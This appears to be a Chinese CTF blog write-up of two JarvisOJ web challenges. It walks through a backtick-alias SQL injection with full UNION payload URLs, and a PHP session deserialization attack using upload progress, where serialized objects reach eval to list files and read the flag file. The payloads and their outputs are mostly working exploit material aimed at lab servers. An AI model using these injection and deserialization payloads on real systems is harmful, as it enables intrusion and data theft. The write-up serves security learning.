jarvisoj Inject & PHPINFO

Jarvisoj

Inject

扫描后台得到index.php~

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

可以看到,首先要满足第一个SQL语句的语法,并在第二个SQL语句内实现注入。
经过试验,desc后面可以跟表名,表明必须要正确,例如desc user

在构造语句的过程中发现,后面还可以跟反引号括起来的内容,例如desc user aaa,查资料发现这样写的结果是,语句正常执行,aaa作为user表的别名。那么在这道题目中就可以保证第一个sql语句正常执行,不跳到Hacker()函数,通过这种形式就可以构造第二个sql语句完成注入的目的。

Payload(这里过滤了单引号和双引号,所以涉及到知识点用十六进制表示表名)
http://web.jarvisoj.com:32794/index.php?table=test`%20`union%20select%20database()%20limit%201,1
61d300 
secret_flag
http://web.jarvisoj.com:32794/index.php?table=test`%20`union%20select%20column_name%20from%20information_schema.columns%20where%20table_name=0x7365637265745f666c6167%20limit%201,1
flagUwillNeverKnow 
http://web.jarvisoj.com:32794/index.php?table=test`%20`union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1
flag{luckyGame~} 

PHPINFO
**

seesion的反序列化问题
session.upload_progress.enabled为On
通过Session Upload Progress来设置session

**
这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问index.php时就会被php的引擎反序列化

可以发现其为序列化之后的内容,当浏览器带着sessionid再次访问脚本时,服务器端根据sessionid读取session文件并将其反序列化.

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

加参数phpinfo可以看到phpinfo配置
Php序列化及反序列化处理器
Php在session存储和读取时,都会有一个序列化和反序列化的过程,反序列化中会调用对象的magic方法,比如__destruct(),__wakeup()等
Php的魔术方法

Php内置了多种处理器用于存取$_SESSION数据,都会对数据进行序列化和反序列化。
---------------------------------------------------------------------------------------
处理器                      |对应存储的序列化字符串
---------------------------------------------------------------------------------------
php                        |name|s:8:"xiaoming";passwd|s:6:"123456";
php_binary                 |names:8:"xiaoming";passwds:6:"123456";
php_serialize (php>=5.5.4) |a:2:{s:4:"name";s:8:"xiaoming";s:6:"passwd";s:6:"123456";}
---------------------------------------------------------------------------------------

Php服务器端session的存放形式,客户端的Cookie在服务端会是一个什么样的存在和处理过程,这个session文件中存储的信息是什么样的。

比如http://10.11.11.11/test.php有如下代码:
<?php
    session_start();
    $name = $_GET['name'];
    $passwd = $_GET['passwd'];
    $_SESSION['name'] = $name;
    $_SESSION['passwd'] = $passwd;
?>

那么在服务器就会生成类似sess_998dhc9e4k08reqi47bovvu6coj1aj1f这样名字的文件,里面存储的session的信息。
比如在访问使用参数是name=admin&passwd=admin
存放的session信息是name|s:5:“admin”;passwd|s:5:“admin”;,可以看到,这里存放了序列化以后的字符串。会不会找到服务的session.save_path然后来读取明文字符串?

如果PHP在反序列化存储的SESSION数据时使用的处理器和序列化时使用的处理器不同,可能会导致数据无法正确反序列化,经过构造甚至可以执行代码

Session.upload_progress.enabled,当它为开启状态时,PHP能够在每一个文件上传时检测上传进度。
当在一个上传处理中,同时POST一个与php.ini中设置的session.upload_progress.name同名变量时,上传进度就可以在$_SESSION中获得。
当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。

那么这道题目就容易理解了,解题过程如下:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

<?php
ini_set('session.serialize_hander','php_serialize');
session_start();
class OowoO
{
	public $mdzz='print_r(dirname(__FILE__));'
	//public $mdzz='print_r(scandir(dirname(__FILE__)));';
	//public $mdzz='print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
	//O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
}

$obj = new OowoO();
echo serialize($obj)
?>

payload:
public $mdzz='print_r(dirname(__FILE__));'
/opt/lampp/htdocs

|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

(
    [0] => .
    [1] => ..
    [2] => Here_1s_7he_fl4g_buT_You_Cannot_see.php
    [3] => index.php
    [4] => phpinfo.php
)

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));


|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值